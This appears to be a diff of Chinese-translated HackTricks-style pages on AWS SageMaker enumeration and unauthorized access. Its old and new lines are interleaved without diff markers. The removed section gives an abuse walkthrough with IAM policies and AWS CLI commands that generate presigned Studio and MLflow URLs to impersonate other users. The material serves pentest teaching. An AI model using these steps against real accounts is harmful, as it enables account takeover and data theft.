- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` 哪些 ECR 镜像部署。
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` 哪些 ECR 镜像部署。
- `InputDataConfig` & `OutputDataConfig` S3 桶、前缀和 KMS 密钥。
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` 用于确定网络或加密配置/态势
- `HyperParameters` 可能 leak 环境凭或连接字符串。
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` 确定网络或加密配置。
- `HyperParameters` 可能 leak 环境凭或连接字符串。
## 管道、实验与试验
```bash
@@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
```
Pipeline 定义会详细说明每个步骤、关角色、容器镜像和环境变量。Trial 组件通常包含训练工件 URIs、S3 日志和指标,这些都会提示敏感数据的流向
Pipeline 定义详述每个步骤、关角色、容器镜像和环境变量。试验组件通常包含训练工件 URIs、S3 日志和指标,这些暗示着敏感数据流动
## 模型、端点配置与已部署端点
```bash
@@ -123,12 +123,10 @@ aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $RE
aws sagemaker list-endpoints --region $REGION
aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
```
关注点:
- 模型工件 S3 URIs (`PrimaryContainer.ModelDataUrl`) 和 推理容器镜像。
- Endpoint 数据捕获配置 (S3 bucket, KMS),用于可能的 log exfil。
- 使用 `S3DataSource``ModelPackage` Multi-model endpoints(检查跨账户打包)。
- 与 endpoints 关联的网络配置和安全组
- 端点的数据捕获配置S3 bucketKMS,用于可能的日志 exfil。
- 使用 `S3DataSource``ModelPackage`多模型端点(检查跨账户打包)。
- 附加到端点的网络配置和 security groups
## Feature Store, Data Wrangler & Clarify
```bash
@@ -143,9 +141,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION
```
安全要点:
- Online feature stores 会将数据复制到 Kinesis检查 `OnlineStoreConfig.SecurityConfig.KmsKeyId` 和 VPC。
- Data Wrangler flows 常常嵌入 JDBC/Redshift 凭证或私有端点。
- Clarify/Model Monitor jobs 会将数据导出到 S3可能对所有人可读或可被跨账户访问。
- 在线特征存储会将数据复制到 Kinesis检查 `OnlineStoreConfig.SecurityConfig.KmsKeyId` 和 VPC。
- Data Wrangler 流程通常会嵌入 JDBC/Redshift 凭证或私有端点。
- Clarify/Model Monitor 作业会将数据导出到 S3可能对公众可读或可被跨账户访问。
## MLflow Tracking Servers, Autopilot & JumpStart
```bash
@@ -158,15 +156,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
aws sagemaker list-jumpstart-models --region $REGION
aws sagemaker list-jumpstart-script-resources --region $REGION
```
- MLflow tracking servers 存储实验和工件;presigned URLs 可能会暴露所有内容。
- MLflow tracking servers 存储实验和工件;预签名 URL 可能会暴露所有内容。
- Autopilot jobs 会启动多个训练作业——枚举输出以查找隐藏数据。
- JumpStart reference architectures 可能会在账户中部署特权角色
- JumpStart 参考架构可能会将特权角色部署到账户中
## IAM 与网络注意事项
## IAM & Networking Considerations
- 列出附加到所有执行角色Studio、notebooks、training jobs、pipelines、endpoints的 IAM 策略。
- 检查网络上下文:子网(subnets)、安全组(security groups、VPC endpoints。许多组织会隔离训练作业但忘记限制出站流量。
- 查在 `ModelDataUrl``DataCaptureConfig``InputDataConfig` 中引用的 S3 bucket 策略是否允许外部访问。
- 枚举附加到所有执行角色Studio、notebooks、training jobs、pipelines、endpoints的 IAM 策略。
- 检查网络上下文subnetssecurity groups、VPC endpoints。许多组织会隔离训练作业但忘记限制出站流量。
- 查在 `ModelDataUrl``DataCaptureConfig``InputDataConfig` 中引用的 S3 桶策略,检查是否允许外部访问。
## Privilege Escalation
@@ -192,7 +190,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION
../aws-sagemaker-unauthenticated-enum/README.md
{{#endref}}
## 参考资料
## References
- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)

View File

@@ -1,107 +1,13 @@
# AWS - SageMaker Unauthorized Access
# AWS - SageMaker 未授权访问
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
## SageMaker 的预签名 URL
### 描述
拥有在目标 Studio `UserProfile` 上调用 `sagemaker:CreatePresignedDomainUrl` 权限的主体,可以生成一个登录 URL该 URL 可直接以该 `UserProfile` 的身份登录 SageMaker Studio。这样攻击者的浏览器就会获得一个 Studio 会话,该会话继承该 `UserProfile``ExecutionRole` 权限,并对该 `UserProfile` 的基于 EFS 的主目录和应用拥有完全访问权限。无需 `iam:PassRole` 或控制台访问权限。
如果攻击者设法获取了针对 SageMaker 资源的预签名 URL他们可以在无需进一步身份验证的情况下访问该资源。权限和访问级别将取决于与该资源关联的角色
### 要求
- 目标环境中需有 SageMaker Studio 的 `Domain` 和一个目标 `UserProfile`
- 攻击者主体需要在目标 `UserProfile` 上拥有 `sagemaker:CreatePresignedDomainUrl`(资源级别)或 `*` 权限。
最小策略示例(作用范围为单个 `UserProfile`
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
### 滥用步骤
1) 枚举你可以针对的 Studio Domain 和 UserProfiles
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) 生成 presigned URL默认有效期约 ~5 分钟)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
3) 在浏览器中打开返回的 URL以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证实际身份:
```bash
aws sts get-caller-identity
```
Notes:
- `--landing-uri` 可以省略。某些值(例如 `app:JupyterLab:/lab`)可能会根据 Studio 的版本/变体被拒绝;默认通常会先重定向到 Studio 首页,然后再到 Jupyter。
- 组织策略/VPC 终端节点限制仍可能阻止网络访问;生成令牌不需要控制台登录或 `iam:PassRole`
### Impact
- 通过假定任何其 ARN 被允许的 Studio `UserProfile` 来进行横向移动和权限提升,从而继承其 `ExecutionRole` 以及文件系统/应用。
### Evidence (from a controlled test)
- 在目标 `UserProfile` 上仅具有 `sagemaker:CreatePresignedDomainUrl` 的情况下,攻击者角色成功返回了类似如下的 `AuthorizedUrl`
```
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
```
- 直接的 HTTP 请求会以重定向 (HTTP 302) 到 Studio 响应,确认该 URL 在过期之前有效且处于激活状态。
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
### 描述
具有对目标 SageMaker MLflow Tracking Server 调用 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限的主体,可以生成一个一次性预签名 URL该 URL 可直接对该服务器的托管 MLflow UI 进行认证。 这会授予与合法用户在该服务器上相同的访问权限(查看/创建实验和运行,以及在服务器的 S3 artifact store 中下载/上传 artifact无需控制台访问或 `iam:PassRole`
### 要求
- 目标账户/区域中存在一个 SageMaker MLflow Tracking Server并知道其名称。
- 攻击者主体需要在目标 MLflow Tracking Server 资源上拥有 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限(或 `*`)。
最小策略示例(限制到单个 Tracking Server
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
}
]
}
```
### 滥用步骤
1) 枚举你可以针对的 MLflow Tracking Servers 并选定一个名称
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) 生成一个 presigned MLflow UI URL (短时间内有效)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--expires-in-seconds 300 \
--session-expiration-duration-in-seconds 1800 \
--query AuthorizedUrl --output text
```
3) 在浏览器中打开返回的 URL以该 Tracking Server 的已认证用户身份访问 MLflow UI。
注意:
- Tracking Server 必须处于就绪状态(例如 `Created/Active`)。如果仍处于 `Creating`,请求将被拒绝。
- 预签名 URL 为一次性且短期有效;需要时请生成新的。
### 影响
- 直接访问目标 Tracking Server 的托管 MLflow UI使你能够在服务器配置所强制的权限范围内查看和修改 experiments/runs并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。
{{#ref}}
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}